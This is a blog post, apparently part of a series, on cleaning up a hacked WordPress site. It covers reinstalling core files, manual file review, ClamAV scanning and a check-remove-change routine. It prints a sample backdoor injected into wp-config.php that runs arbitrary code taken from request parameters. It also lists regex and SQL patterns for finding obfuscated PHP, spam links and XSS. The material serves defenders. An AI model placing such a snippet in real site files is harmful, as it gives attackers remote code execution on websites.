In the previous post, we explored the importance of being prepared for a potential hack on your WordPress site, discussed the Incident Response (IR) plan phases, and dive deeper into the triage phase, focusing on initial steps like blocking access, changing passwords, and scanning your site. Now, let’s move forward to the action phase, which is crucial for cleaning up the mess and restoring your site to its former glory.
Be aware! This section provides just a sneak peek; the material for this topic could easily fill an entire course.
Detection of Database Malware
Before diving in, in case any of you have noticed it, I still haven’t addressed a topic: tools and tips to detect if your database has been compromised. Since the database is essentially the gold of your site’s content, it must be managed and altered very carefully. This is why there are not many tools for it.
If any malware is settled in your database (like XSS code, spam text/links, etc.), it is usually visible to any frontend scanner. However, it can be challenging to determine if the detected malware originates from frontend-related files or from the database. Note that no backend scanner (those related to files) will detect database malware, so you may need to infer its presence by elimination.
Incident Response Plan Recap
Let’s recap the five phases of the Incident Response plan, assuming that “Detection” has already been performed:
- Triage: Gathering information about the attack.
- Action: Implementing cleanup strategies to remove malware.
- Mitigation: Removing vulnerabilities to prevent future incidents (previously covered).
- Recovery: Restoring functionality and reputation.
- Lessons Learned: Analyzing the incident to improve future responses.
Action Phase
After gathering information about the attack during the triage phase, it’s time to roll up your sleeves and start the cleanup process. This part of the process requires more advanced skills and is not easy.
The action phase involves removing malicious code, closing backdoors, and ensuring that your site is secure again. Here’s how I tend to approach it:
Step 2: Clean Up the Malware, Identify and Remove Malicious Files
Using the information from your scans, identify the malicious files on your server. If the scanners or tools didn’t reveal anything, or if you still don’t understand what’s happening, don’t worry. This situation is common since malware is designed to evade detection.
The malware to be removed can include scripts, iframes, or code injected into your legitimate files or database, along with pure-malware files. Carefully remove or clean these corrupted files. Always do a full backup of your files and database before proceeding.
Before Anything: Restore from Backup
Remember the message from fire extinguisher crates: “In case of a fire, break the glass”? Similarly, consider the consequences before restoring a backup:
- You don’t know if the backup is also infected.
- You might lose information.
- You might be restoring vulnerabilities.
Restoring a backup should be the last option, at least for professionals. However, if you have a clean backup from before the attack, it can save you a lot of time and effort in manual cleaning.
Pro Tip: Reinstall Core Files
Here’s an unknown trick: if your WordPress site follows good practices, you shouldn’t modify any core files. WordPress code is organized so you can overwrite the entire core codebase, cleaning a big part of your site in one action.
Download a fresh WordPress zip file from wordpress.org, which includes the following three core folders:
- “wp-admin”: contains the administrator dashboard.
- “wp-includes”: contains libraries used by the core files.
- “wp-content”: stores uploads and personalization (plugins, themes, uploads, etc.).
Overwrite the old files (except the “wp-content” folder and “wp-config.php” file). This is usually my first action when dealing with a hacked WordPress installation. Let me stress a bit more about having a backup, just in case.
This is essentially what happens when you update your site as well; it’s why updating is crucial—not only for getting the latest version but also for replacing compromised code with fresh, trustworthy code.
This can also be done with most themes and plugins. A good practice is to rename the plugins and themes folder, create new ones, and download them one by one to identify any causing bad behavior.
Manual Cleanup
For those who prefer a hands-on approach, manually review and clean your files. Look for unfamiliar code snippets, particularly in your theme files, plugins, and core WordPress files. .htaccess
files are classic places for malicious code, often used to load other malicious files in Apache webservers (according to W3Techs it represents still a 30% of the web servers used in Internet).
Another place to check is the wp-config.php
file. Here’s an example of arbitrary code executor block injected in wp-config.php
(check the “wp-config-sample.php” for understanding what belongs to the original file):
[...]
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['61042afa2930d46bd24e33fbfa587264']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['cb2335fb9d3c50f959e7ae326c9dd6b8']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
$table_prefix = 'wp_';
[...]
Tools like ClamAV or a reliable server-side scanner can assist in this process. If you know what you are searching for, you can build your own malware cleanup process, finding occurrences of patterns and removing them. Often, these patterns are repeated in multiple files.
In the case of the files, these are some functions that are very commonly used in backdoors and obfuscated malware: eval()
, base64_decode()
, gzinflate()
and str_rot13()
, among others. Here you have a brief example of a pattern for those functions using regular expressions:
/eval\\((base64|eval|gzinflate|gzuncompress|gzinflate\\$_|\\$\\$|\\$[A-Za-z_0-9\\{]*(\\(|\\{|\\[))/i
For the database, use SQL commands to check for patterns, e.g.:
select t.* from table t where 'come home' like replace(t.pattern, '*', '%');
You can also download a dump of the database and search for patterns using your preferred method (scripts, advanced search using your favourite text editor, etc.).
For example, search for spam using patterns like <a href=.?</a>
or XSS injections using patterns like <script .*/script>
. Bear in mind that these patterns will produce a lot of False Positives, until you build a more specific pattern.
Also, remember: WordPress core files should never be modified (except wp-config.php
), so any changes here are suspect.
Step 3: CRC Strategy
After cleaning your site, apply the CRC strategy: Check, Remove, and Change. Review all aspects of your site, remove unnecessary or suspicious elements, and change all passwords. Try to stick to what is absolutely required to make your site work, and remove the rest (users, admins, plugins, themes, files, …).
This is also a good time to update everything if you haven’t already.
Conclusion
Handling a hacked WordPress site requires a systematic approach, from initial detection and triage to action and recovery. By following the steps outlined, you can effectively clean up your site. Remember, proactive security measures, timely updates, and continuous monitoring are your best defenses against future attacks.
In the next post, we’ll explore the restoration and lessons learned phases, offering tips on how to restore functionality and reputation after an incident, and the importance of analyzing the event to reduce the likelihood of a recurrence. Stay tuned, and remember, a well-prepared response plan is your best ally in the battle against cyber threats.
Join the Conversation!
There's a dedicated thread on this post inside of The Admin Bar community. Join in on the conversation, ask questions, and learn more!
Group Thread